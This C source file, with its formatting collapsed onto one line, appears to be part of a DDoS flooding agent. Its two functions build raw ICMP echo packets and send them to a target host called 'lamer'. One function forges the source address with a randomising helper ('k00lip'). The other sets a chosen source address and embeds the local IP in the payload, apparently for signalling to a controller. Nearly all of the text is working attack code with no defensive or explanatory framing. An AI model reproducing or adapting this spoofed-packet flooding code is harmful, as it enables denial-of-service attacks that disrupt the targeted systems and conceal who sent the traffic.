#include "tubby.h"void icmp2(int lamer, int source){//  int sawcket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);    struct sockaddr_in pothead;  struct ip *ipi;  struct icmp *icmpi;  char *packet;  char *crap;  int pktsize = sizeof (struct ip) + sizeof (struct icmp) + (1024-48);  struct in_addr amanda;  pothead.sin_port = htons (0);  pothead.sin_family = AF_INET;  pothead.sin_addr.s_addr = lamer;  srandom ((time (NULL) + random ()));  packet = malloc (pktsize);  ipi = (struct ip *) packet;  icmpi = (struct icmp *) (packet + sizeof (struct ip));  memset (packet, 0, pktsize);  crap=packet+sizeof(struct icmp) + sizeof(struct ip);  amanda.s_addr=returnlocalip();  strcpy(crap,inet_ntoa(amanda));     ipi->ip_v = 4;  ipi->ip_tos = 7;  ipi->ip_len = htons (pktsize);  ipi->ip_id = htons (getpid ());  ipi->ip_off = 0;  ipi->ip_ttl = 0xff;  ipi->ip_p = IPPROTO_ICMP;  ipi->ip_hl=sizeof *ipi >> 2;  ipi->ip_src.s_addr = source;  ipi->ip_dst.s_addr = lamer;  ipi->ip_sum = 0;  icmpi->icmp_type = ICMP_ECHO;  icmpi->icmp_code = 0;  icmpi->icmp_cksum = htons (~(ICMP_ECHO << 8));//  icmpi->icmp_cksum = ip_sum ((u_short *) icmpi, pktsize);  sendto (rawsock, packet, pktsize, 0, (struct sockaddr *) &pothead,sizeof (struct sockaddr));//  close (sawcket);  free (packet);  return;}voidicmp (int lamer){  struct sockaddr_in pothead;  struct ip *ipi;  struct icmp *icmpi;  char *packet;  int pktsize = sizeof (struct ip) + sizeof (struct icmp) + icmpsize;   pothead.sin_port = htons (0);  pothead.sin_family = AF_INET;  pothead.sin_addr.s_addr = lamer;  srandom ((time (NULL) + random ()));  packet = malloc (pktsize);  ipi = (struct ip *) packet;  icmpi = (struct icmp *) (packet + sizeof (struct ip));  memset (packet, 0, pktsize);  ipi->ip_v = 4;   ipi->ip_tos = 0;  ipi->ip_len = htons (pktsize);  ipi->ip_id = htons (getpid ());  ipi->ip_off = 0;  ipi->ip_ttl = 0xff;  ipi->ip_p = IPPROTO_ICMP;  ipi->ip_hl=sizeof *ipi >> 2;  ipi->ip_src.s_addr = k00lip ();  ipi->ip_dst.s_addr = lamer;  ipi->ip_sum = ip_sum ((u_short *) ipi, pktsize);  icmpi->icmp_type = ICMP_ECHO;  icmpi->icmp_code = 0;  icmpi->icmp_cksum = htons (~(ICMP_ECHO << 8));  sendto (rawsock, packet, pktsize, 0, (struct sockaddr *) &pothead,sizeof (struct sockaddr));  free (packet);  return;}